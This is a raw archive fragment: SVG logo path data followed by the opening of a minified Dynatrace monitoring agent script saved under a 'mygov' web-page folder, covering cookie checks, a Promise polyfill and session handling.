d="M166.33,41h14.19a1.19,1.19,0,0,0,0-2.38H166.33a1.19,1.19,0,0,0,0,2.38Zm13.73-2h.52c1,0,.93,1.68,0,1.68-.75,0-1.92-1.68-.53-1.68Zm-5.82,0h1.39c.74,0,2.06,1.68.67,1.68h-1.38c-.75,0-2.07-1.68-.68-1.68Zm-5.81,0h1.39c.74,0,2.05,1.68.66,1.68h-1.39c-.73,0-2.05-1.68-.66-1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.38,62.67,179.27,67l2.72-1,2.66,1-.81-4.31,1.87.51L185,60.86l.72-2.42-2.11.44,1.05-4-2.66,1-2.72-1,1,4-2.07-.34.58,2.32-.58,2.42,2.17-.61ZM182,59c.67,1.55,2-.09,2,1.55,0,.73-.05,1.57-.67,1.57H181.1c-1,0-1-.65-1-1.62,0-1.4,1.34-.19,1.83-1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M182.09,60.81c.61,0,1.46.42,1.46-.21,0-.88-.85-.58-1.46-.58s-1.47-.3-1.47.58c0,.63.84.21,1.47.21Z" transform="translate(-23 -22)"/><polygon class="cls-1" points="150.88 37.79 151.1 37.39 150.63 37.43 150.36 36.94 150.08 37.44 149.61 37.39 149.83 37.79 149.47 38.16 149.93 38.25 149.93 38.76 150.36 38.44 150.78 38.76 150.78 38.25 151.24 38.16 150.88 37.79 150.88 37.79"/><polygon class="cls-1" points="147.82 40.96 147.82 41.47 148.25 41.15 148.68 41.47 148.68 40.96 149.14 40.88 148.78 40.5 149 40.1 148.53 40.14 148.25 39.65 147.97 40.15 147.51 40.1 147.72 40.5 147.37 40.88 147.82 40.96 147.82 40.96"/><polygon class="cls-1" points="151.3 40.16 150.94 40.53 151.39 40.62 151.39 41.12 151.82 40.8 152.25 41.12 152.25 40.62 152.7 40.53 152.36 40.16 152.58 39.75 152.1 39.79 151.82 39.31 151.54 39.8 151.08 39.75 151.3 40.16 151.3 40.16"/><polygon class="cls-1" points="152.48 42.37 152.21 42.39 152.06 42.12 151.9 42.4 151.63 42.37 151.76 42.6 151.56 42.81 151.82 42.86 151.82 43.15 152.06 42.97 152.3 43.15 152.3 42.86 152.55 42.81 152.36 42.6 152.48 42.37 152.48 42.37"/><polygon class="cls-1" points="150.52 43.12 149.71 43.18 149.23 42.35 148.75 43.2 147.96 43.12 148.33 43.81 147.72 44.45 148.5 44.59 148.5 45.46 149.23 44.91 149.97 45.46 149.97 44.59 150.75 44.45 150.14 43.81 150.52 43.12 150.52 43.12"/><polygon class="cls-1" points="147.15 10.11 146.88 14.58 150.19 11.58 153.49 14.58 153.22 10.11 157.61 9.38 153.97 6.8 156.14 2.89 151.88 4.15 150.19 0 148.51 4.15 144.23 2.89 146.4 6.8 142.77 9.38 147.15 10.11 147.15 10.11"/><path class="cls-1" d="M152.2,117.05l.63,2.66a1.49,1.49,0,0,0,1,1.28,3.47,3.47,0,0,0,2,0,3.11,3.11,0,0,0,1.73-1,2.27,2.27,0,0,0,.17-1.67l-.6-2.53c-.13-.53.07-.67.58-.86l0-.2-2.09.5,0,.2c.82-.17,1,.08,1.12.56l.57,2.44a1.54,1.54,0,0,1-1.28,2.13c-1.37.32-1.62-.77-1.73-1.23l-.63-2.65c-.16-.71.13-.78.75-1l-.05-.2-3.21.77.05.2c.54-.08.79-.12.95.55Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,117.55l.7.11c.67.11,1.16.2,1.28.73,0,.11.15.91-1,1.16a2,2,0,0,1-2.34-1.27l-.27.06.43,2,.28-.07c0-.13,0-.29.23-.33a9.12,9.12,0,0,0,1.69-.09c1.75-.4,2.14-1.5,2-2.2a1.68,1.68,0,0,0-1.37-1.24l-1.53-.27c-.88-.16-1.1-.29-1.19-.72s.36-.88.86-1a2,2,0,0,1,2.18,1.06l.27-.06-.38-1.73-.28.06c0,.16,0,.29-.26.34a8.66,8.66,0,0,0-1.55.07c-1.81.4-1.86,1.56-1.75,2s.23,1.06,2,1.36Z" transform="translate(-23 -22)"/><path class="cls-1" d="M164.05,115.18c.07-1.33,1.07-1.46,1.74-1.56l.41,4.3c.07.68-.17.72-.87.84l0,.2,3.47-.33,0-.21c-.73,0-1,0-1-.65l-.41-4.3c.67,0,1.68-.09,2,1.19l.28,0-.18-1.64-5.83.56.13,1.65.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173.52,118.36c-.65-.09-.86-.12-.85-.77l0-1.61H173l2,2.6,1.83,0h0l2,.24,0-.2c-.33-.06-.79-.14-.76-.45a5.59,5.59,0,0,1,.56-1l2.18.28a4.09,4.09,0,0,1,.31,1.13c0,.27-.21.26-.82.22l0,.21,3.14.39,0-.21c-.46,0-.58-.33-.91-1.25l-1.63-4.55-.28,0-2.69,4.18c-.35.54-.53.79-1,.82a.43.43,0,0,1-.31-.16l-1.91-2.36c.53-.13,1.54-.37,1.55-1.38,0-1.37-2-1.48-2.72-1.49l-3.14-.06v.2c.55,0,.85.07.84.78l-.07,3.61c0,.67-.21.69-.87.74v.21l3.29.06v-.2Zm6.37-3.3.73,2.1-1.88-.24,1.15-1.86Zm-7.14-1.43c.05-.25.07-.34.61-.34a1,1,0,0,1,1.16,1.21c0,1.06-.53,1.24-1.81,1.22l0-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.75,118.85l-.29,0a2.38,2.38,0,0,1-2.71,1.13c-.64-.12-.84-.22-.77-.61l.69-3.8c.13-.71.42-.66,1.1-.57l0-.19-3.35-.62,0,.2c.43.1.82.19.72.72l-.7,3.91c-.1.49-.39.46-.93.41l0,.21,5.55,1,.73-1.76Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.36,120.73l3.34.7,0-.2c-.51-.14-.89-.24-.79-.76l.81-3.88c.11-.54.57-.46,1-.38l.05-.19-3.35-.71,0,.2c.43.12.88.23.77.76l-.81,3.88c-.1.49-.48.45-1,.38l0,.2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.91,121.41l0,.2,2,.21,0-.21c-.33,0-.8-.12-.77-.42a4.88,4.88,0,0,1,.54-1l2.19.22a4.28,4.28,0,0,1,.33,1.13c0,.27-.2.26-.81.24l0,.2,3.15.33,0-.2c-.47,0-.6-.33-.94-1.25l-1.73-4.5-.27,0L194,120.56c-.35.58-.51.84-1,.85Zm3-3.42.78,2.08-1.89-.2,1.11-1.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M171.48,57.26v.58a.28.28,0,0,0,.27.28h2.09a.29.29,0,0,0,.28-.28v-.63a1.3,1.3,0,0,0,.42-1c0-2-1.11-.12-1.72-1.8-.44,1.42-1.77.23-1.77,1.75a1.2,1.2,0,0,0,.43,1.1Zm1.23-1.71c.57,0,1.47-.21,1.47.75,0,.68-.78.29-1.35.29s-1.35.39-1.35-.29c0-1,.66-.75,1.23-.75Z" transform="translate(-23 -22)"/><path class="cls-1" d="M191.66,80.36a.8.8,0,1,0,0-1.59.8.8,0,1,0,0,1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.42,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.52,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.75,52.53a.45.45,0,0,0,.42-.47s-.43-.85-.43-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.19,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.46.46,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,62a.46.46,0,0,0,.43.47A.45.45,0,0,0,159,62a5.17,5.17,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,71.62a.46.46,0,0,0,.43.47.45.45,0,0,0,.43-.47,4.8,4.8,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.25,79.24a.45.45,0,0,0,.42.47.46.46,0,0,0,.44-.47,5,5,0,0,0-.43-.84l-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.31,83.3a.43.43,0,1,0,.86,0,5.12,5.12,0,0,0-.43-.85l-.43.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,71.62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M186.2,79.24a.43.43,0,1,0,.86,0l-.44-.84a5,5,0,0,0-.42.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.14,83.3a.45.45,0,0,0,.43.48.46.46,0,0,0,.43-.48l-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M172.76,87.6a.43.43,0,1,0,.86,0l-.43-.84a5,5,0,0,0-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M179.89,75.35c-.4.83-.4,2-1.35,2.43a.75.75,0,0,0-.28.73l.23.19c.59-.32,1.72-.42,1.64-1.42a3.42,3.42,0,0,1,.86-1.19.94.94,0,0,1,1,.5A1.8,1.8,0,0,1,180.8,78c-.08.09,0,.23,0,.37.18.32.68.18,1,.14.77-.51,1.09-1.42,1.77-1.7.09.46-.91.6-.27,1,.41-.09.95.05,1.23-.5-.32-.78,1.08-1.14.22-1.83,0-.68.73-1,.69-1.69-.28-.74-1.14-.74-1.37-1.42a1,1,0,0,1,.95,0c.09.14.32.18.61.08l.27-.78c0-.05-.31-.36-.51-.31-.77.18-1.59.28-2.05,1a1.53,1.53,0,0,0,.73,1.19c.27-.09.32.18.5.32a.32.32,0,0,1-.32.41c-.54-.55-1.5.18-1.91-.5.19-.69.55-1.47,0-2.11,0-.14.27-.27.14-.41-.23-.64-.92-.14-1.33-.14a1.77,1.77,0,0,0-1.64.82,1.35,1.35,0,0,0,.37.69c.18,0,.27,0,.32.19l-.46.27a.9.9,0,0,1,.18.51c-.31.13-.63-.33-.77-.56s.05-1-.45-1.1a2,2,0,0,0-.4.14,1.32,1.32,0,0,0-.18.76,3.21,3.21,0,0,0,.17.81,7.69,7.69,0,0,1,1.72,1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M151.74,79.12a.8.8,0,1,0,0,1.59.8.8,0,1,0,0-1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104,107.23a.89.89,0,1,0,.89-.85.87.87,0,0,0-.89.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M145.86,122.61l0,.2,2-.23,0-.21c-.32,0-.79,0-.83-.25a4.87,4.87,0,0,1,.31-1.1l2.18-.26a4.48,4.48,0,0,1,.57,1c0,.28-.14.3-.74.41l0,.21,3.15-.37,0-.2c-.47.07-.65-.19-1.19-1l-2.66-4-.27,0-1.64,4.7c-.22.65-.32.94-.84,1.07Zm2.23-4,1.21,1.86-1.89.23.68-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M542,109.18H547v-19a13.49,13.49,0,0,1,3.47-2.93,7.75,7.75,0,0,1,4-1.16,5.33,5.33,0,0,1,4.28,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17q0-5.28-2.42-8t-7-2.72a10.6,10.6,0,0,0-5.35,1.3,14.06,14.06,0,0,0-4.12,3.6l.7,1.46V82.05H542v27.13Zm22.87-19a15.51,15.51,0,0,1,3.64-2.88,8.36,8.36,0,0,1,4.22-1.16,5.26,5.26,0,0,1,4.23,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17c0-3.52-.8-6.19-2.42-8s-4-2.72-7-2.72a11.65,11.65,0,0,0-5.52,1.27,18.28,18.28,0,0,0-4.66,3.63l1,3.77Zm26.43,30.63a9.9,9.9,0,0,0,7-2.59q2.81-2.58,5.06-8.45l11.09-27.72H609l-7.65,20.19-8.61-20.19h-5.6l12.22,27.56.11-3.55-1,2.58a14.29,14.29,0,0,1-3.66,5.79,7.28,7.28,0,0,1-4.79,1.69h-.27l1,4.69Zm54.07-12a31.32,31.32,0,0,0,6.43-2.58V90h-13v4.79h7.64v7.8a18.29,18.29,0,0,1-3.82,1.38,22.55,22.55,0,0,1-5.22.51,14.62,14.62,0,0,1-7.35-1.81,12.63,12.63,0,0,1-5-5.06,15.45,15.45,0,0,1-1.77-7.5A16,16,0,0,1,625,82.54a12.88,12.88,0,0,1,4.74-5.09,12.64,12.64,0,0,1,6.65-1.8,12.24,12.24,0,0,1,6.16,1.48,16.46,16.46,0,0,1,4.66,4l4.3-3.29a18.21,18.21,0,0,0-6.35-5.43,18.56,18.56,0,0,0-8.72-2,19,19,0,0,0-9.58,2.45A17.69,17.69,0,0,0,620,79.82a20.9,20.9,0,0,0-2.5,10.31,20.6,20.6,0,0,0,2.48,10.2,17.43,17.43,0,0,0,7,6.91,21.2,21.2,0,0,0,10.41,2.48,30.08,30.08,0,0,0,7.94-.92Zm35.34-.88a13,13,0,0,0,5.11-5,15.46,15.46,0,0,0,0-14.59,12.94,12.94,0,0,0-5.11-5,16.38,16.38,0,0,0-15,0,13.08,13.08,0,0,0-5.14,5,15.19,15.19,0,0,0,0,14.53,13.11,13.11,0,0,0,5.14,5,16.46,16.46,0,0,0,15,0Zm-12.22-4.12a8.42,8.42,0,0,1-3.28-3.31,10.56,10.56,0,0,1,0-9.74,8.38,8.38,0,0,1,3.28-3.32,10.09,10.09,0,0,1,9.47,0,8.32,8.32,0,0,1,3.26,3.29,10.8,10.8,0,0,1,0,9.74A8.25,8.25,0,0,1,678,103.8a10.15,10.15,0,0,1-9.5,0Zm32.19,5.38h4.52l11.3-27.13h-5.33l-9,22.45h1.62l-8.88-22.45h-5.6l11.36,27.13Z" transform="translate(-23 -22)"/></svg>mygov/app/sms_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download000064400000736201151676702570021734 0ustar00/*
 Copyright and licenses see https://www.dynatrace.com/company/trust-center/customers/reports/*/
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(){document.cookie="".concat("__dTCookie","=").concat("1",";SameSite=Lax");var Ua=-1!==document.cookie.indexOf("__dTCookie");document.cookie="".concat("__dTCookie","=").concat("1","; expires=Thu, 01-Jan-1970 00:00:01 GMT");return Ua}function La(){return void 0===db.dialogArguments?navigator.cookieEnabled||ra():ra()}function gb(){var Ua;if(La()&&!window.dT_){var Pa=
(Ua={},Ua.cfg="#CONFIGSTRING#|auto=#AUTO#|domain=#DOMAIN#|rid=RID_#REQUEST_ID#|rpid=#RESPONSE_ID#|app=#APP#",Ua.iCE=La,Ua);window.dT_=Pa}}var db="undefined"!==typeof window?window:self,Ea;db.dT_?(null===(Ea=db.console)||void 0===Ea?void 0:Ea.log("Duplicate agent injection detected, turning off redundant initConfig."),db.dT_.di=1):gb()})()})();
/*
 Copyright and licenses see https://www.dynatrace.com/company/trust-center/customers/reports/*/
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(k,w,M){void 0===M&&(M=0);var A=-1;w&&(null===k||void 0===k?0:k.indexOf)&&(A=k.indexOf(w,M));return A}function La(){var k;return!(null===(k=Bb.console)||void 0===k||!k.log)}function gb(k,w){if(!w)return"";var M=k+"=";k=ra(w,M);if(0>k)return"";for(;0<=k;){if(0===k||" "===w.charAt(k-1)||";"===w.charAt(k-1))return M=k+M.length,k=ra(w,";",k),0<=k?w.substring(M,
k):w.substring(M);k=ra(w,M,k+M.length)}return""}function db(k){return gb(k,document.cookie)}function Ea(){}function Ua(){var k=0;try{k=Math.round(Bb.performance.timeOrigin)}catch(w){}if(0>=k||isNaN(k)||!isFinite(k)){k=0;try{k=Bb.performance.timing.navigationStart}catch(w){}k=0>=k||isNaN(k)||!isFinite(k)?Jd:k}tg=k;J=Pa;return tg}function Pa(){return tg}function za(){return J()}function ab(){var k,w=0;if(null===(k=null===Bb||void 0===Bb?void 0:Bb.performance)||void 0===k?0:k.now)try{w=Math.round(Bb.performance.now())}catch(M){}return 0>=
w||isNaN(w)||!isFinite(w)?(new Date).getTime()-J():w}function ba(k,w){void 0===w&&(w=document.cookie);return gb(k,w)}function Z(){}function Aa(k,w){return function(){k.apply(w,arguments)}}function na(k){if(!(this instanceof na))throw new TypeError("Promises must be constructed via new");if("function"!==typeof k)throw new TypeError("not a function");this.ka=0;this.oc=!1;this.sa=void 0;this.Ha=[];va(k,this)}function ta(k,w){for(;3===k.ka;)k=k.sa;0===k.ka?k.Ha.push(w):(k.oc=!0,na.Jb(function(){var M=
1===k.ka?w.xe:w.ye;if(null===M)(1===k.ka?Ma:Ja)(w.promise,k.sa);else{try{var A=M(k.sa)}catch(Ta){Ja(w.promise,Ta);return}Ma(w.promise,A)}}))}function Ma(k,w){try{if(w===k)throw new TypeError("A promise cannot be resolved with itself.");if(w&&("object"===typeof w||"function"===typeof w)){var M=w.then;if(w instanceof na){k.ka=3;k.sa=w;fa(k);return}if("function"===typeof M){va(Aa(M,w),k);return}}k.ka=1;k.sa=w;fa(k)}catch(A){Ja(k,A)}}function Ja(k,w){k.ka=2;k.sa=w;fa(k)}function fa(k){2===k.ka&&0===k.Ha.length&&
na.Jb(function(){k.oc||na.Qc(k.sa)});for(var w=0,M=k.Ha.length;w<M;w++)ta(k,k.Ha[w]);k.Ha=null}function S(k,w,M){this.xe="function"===typeof k?k:null;this.ye="function"===typeof w?w:null;this.promise=M}function va(k,w){var M=!1;try{k(function(A){M||(M=!0,Ma(w,A))},function(A){M||(M=!0,Ja(w,A))})}catch(A){M||(M=!0,Ja(w,A))}}function ja(){K.Jb=function(k){if("string"===typeof k)throw Error("Promise polyfill called _immediateFn with string");k()};K.Qc=function(){};return K}function U(k,w){return parseInt(k,
w||10)}function eb(k){return document.getElementsByTagName(k)}function L(k){var w=k.length;if("number"===typeof w)k=w;else{w=0;for(var M=2048;k[M-1];)w=M,M+=M;for(var A=7;1<M-w;)A=(M+w)/2,k[A-1]?w=A:M=A;k=k[A]?M:w}return k}function C(k){for(var w=[],M=1;M<arguments.length;M++)w[M-1]=arguments[M];k.push.apply(k,w)}function H(k){k=encodeURIComponent(k);var w=[];if(k)for(var M=0;M<k.length;M++){var A=k.charAt(M);C(w,Fa[A]||A)}return w.join("")}function Q(k){-1<ra(k,"^")&&(k=k.split("^^").join("^"),k=
k.split("^dq").join('"'),k=k.split("^rb").join(">"),k=k.split("^lb").join("<"),k=k.split("^p").join("|"),k=k.split("^e").join("="),k=k.split("^s").join(";"),k=k.split("^c").join(","),k=k.split("^bs").join("\\"));return k}function ia(k,w){if(!k||!k.length)return-1;if(k.indexOf)return k.indexOf(w);for(var M=k.length;M--;)if(k[M]===w)return M;return-1}function W(k,w){var M;void 0===w&&(w=[]);if(!k||"object"!==typeof k&&"function"!==typeof k)return!1;var A="number"!==typeof w?w:[],Ta=null,xb=[];switch("number"===
typeof w?w:5){case 0:Ta="Array";xb.push("push");break;case 1:Ta="Boolean";break;case 2:Ta="Number";break;case 3:Ta="String";break;case 4:Ta="Function";break;case 5:Ta="Object";break;case 6:Ta="Date";xb.push("getTime");break;case 7:Ta="Error";xb.push("name","message");break;case 8:Ta="Element";break;case 9:Ta="HTMLElement";break;case 10:Ta="HTMLImageElement";xb.push("complete");break;case 11:Ta="PerformanceEntry";break;case 12:Ta="PerformanceTiming";break;case 13:Ta="PerformanceResourceTiming";break;
case 14:Ta="PerformanceNavigationTiming";break;case 15:Ta="CSSRule";xb.push("cssText","parentStyleSheet");break;case 16:Ta="CSSStyleSheet";xb.push("cssRules","insertRule");break;case 17:Ta="Request";xb.push("url");break;case 18:Ta="Response";xb.push("ok","status","statusText");break;case 19:Ta="Set";xb.push("add","entries","forEach");break;case 20:Ta="Map";xb.push("set","entries","forEach");break;case 21:Ta="Worker";xb.push("addEventListener","postMessage","terminate");break;case 22:Ta="XMLHttpRequest";
xb.push("open","send","setRequestHeader");break;case 23:Ta="SVGScriptElement";xb.push("ownerSVGElement","type");break;case 24:Ta="HTMLMetaElement";xb.push("httpEquiv","content","name");break;case 25:Ta="HTMLHeadElement";break;case 26:Ta="ArrayBuffer";break;case 27:Ta="ShadowRoot",xb.push("host","mode")}w=Ta;if(!w)return!1;xb=xb.length?xb:A;if(!A.length)try{if(Bb[w]&&k instanceof Bb[w]||Object.prototype.toString.call(k)==="[object "+w+"]")return!0;if(k&&k.nodeType&&1===k.nodeType){var ec=null===(M=
k.ownerDocument.defaultView)||void 0===M?void 0:M[w];if("function"===typeof ec&&k instanceof ec)return!0}}catch(uc){}for(M=0;M<xb.length;M++)if(A=xb[M],"string"!==typeof A&&"number"!==typeof A&&"symbol"!==typeof A||!(A in k))return!1;return!!xb.length}function la(k,w,M,A){"undefined"===typeof A&&(A=Ka(w,!0));"boolean"===typeof A&&(A=Ka(w,A));if(k===Bb)Ya?Ya(w,M,A):Pb&&Pb("on"+w,M);else if(cc&&W(k,21))lc.call(k,w,M,A);else if(k.addEventListener)if(k===Bb.document||k===Bb.document.documentElement)Sb.call(k,
w,M,A);else try{Ya.call(k,w,M,A)}catch(ec){k.addEventListener(w,M,A)}else k.attachEvent&&k.attachEvent("on"+w,M);A=!1;for(var Ta=$c.length;0<=--Ta;){var xb=$c[Ta];if(xb.object===k&&xb.event===w&&xb.da===M){A=!0;break}}A||C($c,{object:k,event:w,da:M})}function ua(k,w,M,A){for(var Ta=$c.length;0<=--Ta;){var xb=$c[Ta];if(xb.object===k&&xb.event===w&&xb.da===M){$c.splice(Ta,1);break}}"undefined"===typeof A&&(A=Ka(w,!0));"boolean"===typeof A&&(A=Ka(w,A));k===Bb?tb?tb(w,M,A):Pb&&Pb("on"+w,M):k.removeEventListener?
k===Bb.document||k===Bb.document.documentElement?Ub.call(k,w,M,A):tb.call(k,w,M,A):k.detachEvent&&k.detachEvent("on"+w,M)}function Ka(k,w){var M=!1;try{if(Ya&&-1<ia(Vd,k)){var A=Object.defineProperty({},"passive",{get:function(){M=!0}});Ya("test",Ea,A)}}catch(Ta){}return M?{passive:!0,capture:w}:w}function Hb(){for(var k=$c,w=k.length;0<=--w;){var M=k[w];ua(M.object,M.event,M.da)}$c=[]}function ib(k,w,M){if(M||2===arguments.length)for(var A=0,Ta=w.length,xb;A<Ta;A++)!xb&&A in w||(xb||(xb=Array.prototype.slice.call(w,
0,A)),xb[A]=w[A]);return k.concat(xb||Array.prototype.slice.call(w))}function aa(k){return"function"===typeof k&&/{\s+\[native code]/.test(Function.prototype.toString.call(k))}function qa(k,w){for(var M,A=[],Ta=2;Ta<arguments.length;Ta++)A[Ta-2]=arguments[Ta];return void 0!==Function.prototype.bind&&aa(Function.prototype.bind)?(M=Function.prototype.bind).call.apply(M,ib([k,w],A,!1)):function(){for(var xb=0;xb<arguments.length;xb++);return k.apply(w,(A||[]).concat(Array.prototype.slice.call(arguments)||
[]))}}function V(){if(yd){var k=new yd;if(Kd)for(var w=0,M=ie;w<M.length;w++){var A=M[w];void 0!==Kd[A]&&(k[A]=qa(Kd[A],k))}return k}return dd?new dd("MSXML2.XMLHTTP.3.0"):Bb.XMLHttpRequest?new Bb.XMLHttpRequest:new Bb.ActiveXObject("MSXML2.XMLHTTP.3.0")}function pa(){document.cookie="".concat("__dTCookie","=").concat("1",";SameSite=Lax");var k=-1!==document.cookie.indexOf("__dTCookie");document.cookie="".concat("__dTCookie","=").concat("1","; expires=Thu, 01-Jan-1970 00:00:01 GMT");return k}function Va(){return void 0===
Bb.dialogArguments?navigator.cookieEnabled||pa():pa()}function nb(){return Ne}function lb(k){Ne=k}function jb(k){var w=I("rid"),M=I("rpid");w&&(k.rid=w);M&&(k.rpid=M)}function Ab(k){if(k=k.xb){k=Q(k);try{Ne=new RegExp(k,"i")}catch(w){}}else Ne=void 0}function gc(k){return"n"===k||"s"===k||"l"===k?";SameSite=".concat(ig[k]):""}function Vb(k,w,M){var A=1,Ta=0;do document.cookie=k+'=""'+(w?";domain="+w:"")+";path="+M.substring(0,A)+"; expires=Thu, 01 Jan 1970 00:00:01 GMT;",A=M.indexOf("/",A),Ta++;while(-1!==
A&&5>Ta)}function Ha(k){var w={},M=0;for(k=k.split("|");M<k.length;M++){var A=k[M].split("=");2===A.length&&(w[A[0]]=decodeURIComponent(A[1].replace(/\+/g," ")))}return w}function yb(){var k=I("csu");return(k.indexOf("dbg")===k.length-3?k.substring(0,k.length-3):k)+"_"+I("app")+"_Store"}function vb(k,w,M){void 0===w&&(w={});var A=0;for(k=k.split("|");A<k.length;A++){var Ta=k[A],xb=Ta,ec=ra(Ta,"=");-1===ec?w[xb]="1":(xb=Ta.substring(0,ec),w[xb]=Ta.substring(ec+1,Ta.length))}!M&&(M=w,A=M.spc)&&(k=document.createElement("textarea"),
k.innerHTML=A,M.spc=k.value);return w}function ca(k){var w;return null!==(w=xc[k])&&void 0!==w?w:Yc[k]}function Oa(k){k=ca(k);return"false"===k||"0"===k?!1:!!k}function Za(k){var w=ca(k);w=U(w);isNaN(w)&&(w=Yc[k]);return w}function I(k){return String(ca(k)||"")}function ka(k,w){xc[k]=String(w)}function Ba(k){return xc=k}function $a(k){xc[k]=0>ra(xc[k],"#"+k.toUpperCase())?xc[k]:""}function Cb(k){var w=k.agentUri;w&&-1<ra(w,"_")&&(w=/([a-zA-Z]*)[0-9]{0,4}_([a-zA-Z_0-9]*)_[0-9]+/g.exec(w))&&w.length&&
2<w.length&&(k.csu=w[1],k.featureHash=w[2])}function bd(k){var w=k.domain||"";var M=(M=location.hostname)&&w?M===w||-1!==M.indexOf("."+w,M.length-("."+w).length):!0;if(!w||!M){k.domainOverride||(k.domainOriginal=k.domain||"",k.domainOverride="".concat(location.hostname,",").concat(w),delete k.domain);var A=I("cssm");var Ta=document.domain||"";if(Ta){Ta=Ta.split(".").reverse();var xb=Ta.length;if(1>=xb)A="";else{for(var ec=Ta[0],uc="",qc=1;qc<=xb;qc++)if(ba("dTValidationCookie")){uc=ec;break}else{Ta[qc]&&
(ec="".concat(Ta[qc],".").concat(ec));var ud="".concat("dTValidationCookie","=dTValidationCookieValue;path=/;domain=").concat(ec);ud+=gc(A);document.cookie=ud}Vb("dTValidationCookie",uc,"/");A=uc}}else A="";A&&(k.domain=A);M||C(me,{type:"dpi",severity:"Warning",text:'Configured domain "'.concat(w,'" is invalid for current location "').concat(location.hostname,'". Agent will use "').concat(k.domain,'" instead.')})}}function Qb(k,w){bd(k);var M=xc.pVO;M&&(k.pVO=M);w||(w=k.bp||Yc.bp,k.bp2&&(w=2),k.bp=
String(w))}function Zb(){return xc}function q(k){return Yc[k]===ca(k)}function D(){if(Bb.MobileAgent||Bb.dynatraceMobile){var k=db("dtAdkSettings");return Vf.dT_.p3SC(k).privacyState||null}return null}function t(){var k=D();return 2===k||1===k?!1:!Vf.dT_.bcv("coo")||Vf.dT_.bcv("cooO")||Vf.dT_.iSM()}function y(k,w){return!t()||Bb.dT_.overloadPrevention&&!mc()?null:k.apply(this,w||[])}function Y(k,w){try{var M=Ld;M&&M.setItem(k,w)}catch(A){}}function x(k,w){y(Y,[k,w])}function oa(k){try{var w=Ld;if(w)return w.getItem(k)}catch(M){}return null}
function R(k){try{var w=Ld;w&&w.removeItem(k)}catch(M){}}function O(k){document.cookie=k+'="";path=/'+(I("domain")?";domain="+I("domain"):"")+"; expires=Thu, 01 Jan 1970 00:00:01 GMT;"}function wa(k,w,M,A){Oe=!0;w||0===w?(w=String(w).replace(/[;\n\r]/g,"_"),k=k+"="+w+";path=/"+(I("domain")?";domain="+I("domain"):""),M&&(k+=";expires="+M.toUTCString()),k+=gc(I("cssm")),A&&"https:"===location.protocol&&(k+=";Secure"),document.cookie=k):O(k);Oe=!1}function Ga(k,w,M,A){y(wa,[k,w,M,A])}function Wa(k){return-1===
ra(k,"v_4")?!1:!0}function Eb(k){k=ba("dtCookie",k);k||((k=oa("dtCookie"))&&Wa(k)?Lb(k):k="");return Wa(k)?k:""}function Lb(k){Ga("dtCookie",k,void 0,Oa("ssc"))}function Nb(k){return(k=k||Eb())?Oc(k):{sessionId:"",serverId:"",overloadState:0}}function ac(k){return Nb(k).serverId}function rc(k){return Nb(k).sessionId}function mc(){return 0<=ra(navigator.userAgent,"RuxitSynthetic")}function Oc(k){var w={sessionId:"",serverId:"",overloadState:0},M=k.split("_");if(2<M.length&&0===M.length%2){k=Number(M[1]);
